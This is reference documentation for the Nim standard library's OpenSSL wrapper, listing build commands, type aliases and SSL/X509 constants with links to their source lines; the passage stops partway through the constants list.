nim openssl openssl ======= OpenSSL support When OpenSSL is dynamically linked, the wrapper provides partial forward and backward compatibility for OpenSSL versions above and below 1.1.0 OpenSSL can also be statically linked using `--dynlibOverride:ssl` for OpenSSL >= 1.1.0. If you want to statically link against OpenSSL 1.0.x, you now have to define the `openssl10` symbol via `-d:openssl10`. Build and test examples: ``` ./bin/nim c -d:ssl -p:. -r tests/untestable/tssl.nim ./bin/nim c -d:ssl -p:. --dynlibOverride:ssl --passl:-lcrypto --passl:-lssl -r tests/untestable/tssl.nim ``` Imports ------- <winlean>, <dynlib>, <strutils> Types ----- ``` SslPtr = ptr SslStruct ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L98) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L98) ``` PSslPtr = ptr SslPtr ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L99) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L99) ``` SslCtx = SslPtr ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L100) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L100) ``` PSSL_METHOD = SslPtr ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L101) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L101) ``` PSTACK = SslPtr ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L102) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L102) ``` PX509 = SslPtr ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L103) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L103) ``` PX509_NAME = SslPtr ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L104) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L104) ``` PEVP_MD = SslPtr ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L105) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L105) ``` PBIO_METHOD = SslPtr ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L106) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L106) ``` BIO = SslPtr ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L107) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L107) ``` EVP_PKEY = SslPtr ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L108) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L108) ``` PRSA = SslPtr ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L109) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L109) ``` PASN1_UTCTIME = SslPtr ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L110) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L110) ``` PASN1_cInt = SslPtr ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L111) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L111) ``` PPasswdCb = SslPtr ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L112) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L112) ``` EVP_MD = SslPtr ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L113) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L113) ``` EVP_MD_CTX = SslPtr ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L114) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L114) ``` EVP_PKEY_CTX = SslPtr ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L115) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L115) ``` ENGINE = SslPtr ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L116) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L116) ``` PFunction = proc () {...}{.cdecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L117) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L117) ``` DES_cblock = array[0 .. 7, int8] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L118) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L118) ``` PDES_cblock = ptr DES_cblock ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L119) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L119) ``` des_ks_struct {...}{.final.} = object ks*: DES_cblock weak_key*: cint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L120) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L120) ``` des_key_schedule = array[1 .. 16, des_ks_struct] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L124) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L124) ``` pem_password_cb = proc (buf: cstring; size, rwflag: cint; userdata: pointer): cint {...}{. cdecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L126) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L126) ``` PaddingType = enum RSA_PKCS1_PADDING = 1, RSA_SSLV23_PADDING = 2, RSA_NO_PADDING = 3, RSA_PKCS1_OAEP_PADDING = 4, RSA_X931_PADDING = 5, RSA_PKCS1_PSS_PADDING = 6 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L128) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L128) ``` PskClientCallback = proc (ssl: SslPtr; hint: cstring; identity: cstring; max_identity_len: cuint; psk: ptr cuchar; max_psk_len: cuint): cuint {...}{.cdecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L602) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L602) ``` PskServerCallback = proc (ssl: SslPtr; identity: cstring; psk: ptr cuchar; max_psk_len: cint): cuint {...}{.cdecl.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L606) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L606) ``` MD5_LONG = cuint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L733) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L733) ``` MD5_CTX = object A, B, C, D, Nl, Nh: MD5_LONG data: array[MD5_LBLOCK, MD5_LONG] num: cuint ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L739) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L739) ``` PX509_STORE = SslPtr ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L825) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L825) ``` PX509_OBJECT = SslPtr ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L826) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L826) Consts ------ ``` DLLSSLName = "(libssl-1_1-x64|ssleay64|libssl64).dll" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L66) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L66) ``` DLLUtilName = "(libcrypto-1_1-x64|libeay64).dll" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L67) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L67) ``` SSL_SENT_SHUTDOWN = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L138) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L138) ``` SSL_RECEIVED_SHUTDOWN = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L139) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L139) ``` EVP_MAX_MD_SIZE = 36 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L140) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L140) ``` SSL_ERROR_NONE = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L141) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L141) ``` SSL_ERROR_SSL = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L142) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L142) ``` SSL_ERROR_WANT_READ = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L143) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L143) ``` SSL_ERROR_WANT_WRITE = 3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L144) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L144) ``` SSL_ERROR_WANT_X509_LOOKUP = 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L145) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L145) ``` SSL_ERROR_SYSCALL = 5 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L146) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L146) ``` SSL_ERROR_ZERO_RETURN = 6 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L147) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L147) ``` SSL_ERROR_WANT_CONNECT = 7 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L148) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L148) ``` SSL_ERROR_WANT_ACCEPT = 8 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L149) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L149) ``` SSL_CTRL_NEED_TMP_RSA = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L150) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L150) ``` SSL_CTRL_SET_TMP_RSA = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L151) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L151) ``` SSL_CTRL_SET_TMP_DH = 3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L152) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L152) ``` SSL_CTRL_SET_TMP_ECDH = 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L153) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L153) ``` SSL_CTRL_SET_TMP_RSA_CB = 5 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L154) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L154) ``` SSL_CTRL_SET_TMP_DH_CB = 6 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L155) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L155) ``` SSL_CTRL_SET_TMP_ECDH_CB = 7 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L156) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L156) ``` SSL_CTRL_GET_SESSION_REUSED = 8 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L157) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L157) ``` SSL_CTRL_GET_CLIENT_CERT_REQUEST = 9 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L158) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L158) ``` SSL_CTRL_GET_NUM_RENEGOTIATIONS = 10 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L159) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L159) ``` SSL_CTRL_CLEAR_NUM_RENEGOTIATIONS = 11 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L160) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L160) ``` SSL_CTRL_GET_TOTAL_RENEGOTIATIONS = 12 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L161) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L161) ``` SSL_CTRL_GET_FLAGS = 13 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L162) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L162) ``` SSL_CTRL_EXTRA_CHAIN_CERT = 14 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L163) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L163) ``` SSL_CTRL_SET_MSG_CALLBACK = 15 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L164) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L164) ``` SSL_CTRL_SET_MSG_CALLBACK_ARG = 16 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L165) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L165) ``` SSL_CTRL_SET_MTU = 17 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L166) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L166) ``` SSL_CTRL_SESS_NUMBER = 20 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L167) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L167) ``` SSL_CTRL_SESS_CONNECT = 21 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L168) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L168) ``` SSL_CTRL_SESS_CONNECT_GOOD = 22 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L169) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L169) ``` SSL_CTRL_SESS_CONNECT_RENEGOTIATE = 23 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L170) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L170) ``` SSL_CTRL_SESS_ACCEPT = 24 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L171) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L171) ``` SSL_CTRL_SESS_ACCEPT_GOOD = 25 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L172) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L172) ``` SSL_CTRL_SESS_ACCEPT_RENEGOTIATE = 26 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L173) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L173) ``` SSL_CTRL_SESS_HIT = 27 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L174) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L174) ``` SSL_CTRL_SESS_CB_HIT = 28 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L175) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L175) ``` SSL_CTRL_SESS_MISSES = 29 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L176) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L176) ``` SSL_CTRL_SESS_TIMEOUTS = 30 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L177) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L177) ``` SSL_CTRL_SESS_CACHE_FULL = 31 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L178) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L178) ``` SSL_CTRL_OPTIONS = 32 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L179) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L179) ``` SSL_CTRL_MODE = 33 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L180) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L180) ``` SSL_CTRL_GET_READ_AHEAD = 40 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L181) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L181) ``` SSL_CTRL_SET_READ_AHEAD = 41 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L182) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L182) ``` SSL_CTRL_SET_SESS_CACHE_SIZE = 42 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L183) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L183) ``` SSL_CTRL_GET_SESS_CACHE_SIZE = 43 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L184) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L184) ``` SSL_CTRL_SET_SESS_CACHE_MODE = 44 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L185) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L185) ``` SSL_CTRL_GET_SESS_CACHE_MODE = 45 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L186) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L186) ``` SSL_CTRL_GET_MAX_CERT_LIST = 50 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L187) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L187) ``` SSL_CTRL_SET_MAX_CERT_LIST = 51 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L188) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L188) ``` SSL_CTRL_SET_ECDH_AUTO = 94 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L193) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L193) ``` TLSEXT_NAMETYPE_host_name = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L194) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L194) ``` SSL_TLSEXT_ERR_OK = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L195) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L195) ``` SSL_TLSEXT_ERR_ALERT_WARNING = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L196) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L196) ``` SSL_TLSEXT_ERR_ALERT_FATAL = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L197) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L197) ``` SSL_TLSEXT_ERR_NOACK = 3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L198) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L198) ``` SSL_MODE_ENABLE_PARTIAL_WRITE = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L199) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L199) ``` SSL_MODE_ACCEPT_MOVING_WRITE_BUFFER = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L203) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L203) ``` SSL_MODE_AUTO_RETRY = 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L205) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L205) ``` SSL_MODE_NO_AUTO_CHAIN = 8 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L206) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L206) ``` SSL_OP_NO_SSLv2 = 0x01000000 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L207) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L207) ``` SSL_OP_NO_SSLv3 = 0x02000000 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L208) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L208) ``` SSL_OP_NO_TLSv1 = 0x04000000 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L209) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L209) ``` SSL_OP_NO_TLSv1_1 = 0x08000000 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L210) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L210) ``` SSL_OP_ALL = 0x000FFFFF ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L211) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L211) ``` SSL_VERIFY_NONE = 0x00000000 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L212) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L212) ``` SSL_VERIFY_PEER = 0x00000001 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L213) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L213) ``` SSL_ST_CONNECT = 0x00001000 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L214) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L214) ``` SSL_ST_ACCEPT = 0x00002000 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L215) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L215) ``` SSL_ST_INIT = 12288 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L216) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L216) ``` OPENSSL_DES_DECRYPT = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L217) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L217) ``` OPENSSL_DES_ENCRYPT = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L218) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L218) ``` X509_V_OK = 0 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L219) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L219) ``` X509_V_ILLEGAL = 1 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L220) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L220) ``` X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT = 2 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L221) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L221) ``` X509_V_ERR_UNABLE_TO_GET_CRL = 3 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L222) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L222) ``` X509_V_ERR_UNABLE_TO_DECRYPT_CERT_SIGNATURE = 4 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L223) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L223) ``` X509_V_ERR_UNABLE_TO_DECRYPT_CRL_SIGNATURE = 5 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L224) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L224) ``` X509_V_ERR_UNABLE_TO_DECODE_ISSUER_PUBLIC_KEY = 6 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L225) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L225) ``` X509_V_ERR_CERT_SIGNATURE_FAILURE = 7 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L226) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L226) ``` X509_V_ERR_CRL_SIGNATURE_FAILURE = 8 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L227) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L227) ``` X509_V_ERR_CERT_NOT_YET_VALID = 9 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L228) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L228) ``` X509_V_ERR_CERT_HAS_EXPIRED = 10 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L229) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L229) ``` X509_V_ERR_CRL_NOT_YET_VALID = 11 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/openssl.nim#L230) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/openssl.nim#L230) ``` X509_V_ERR_CRL_HAS_EXPIRED = 12 ``` 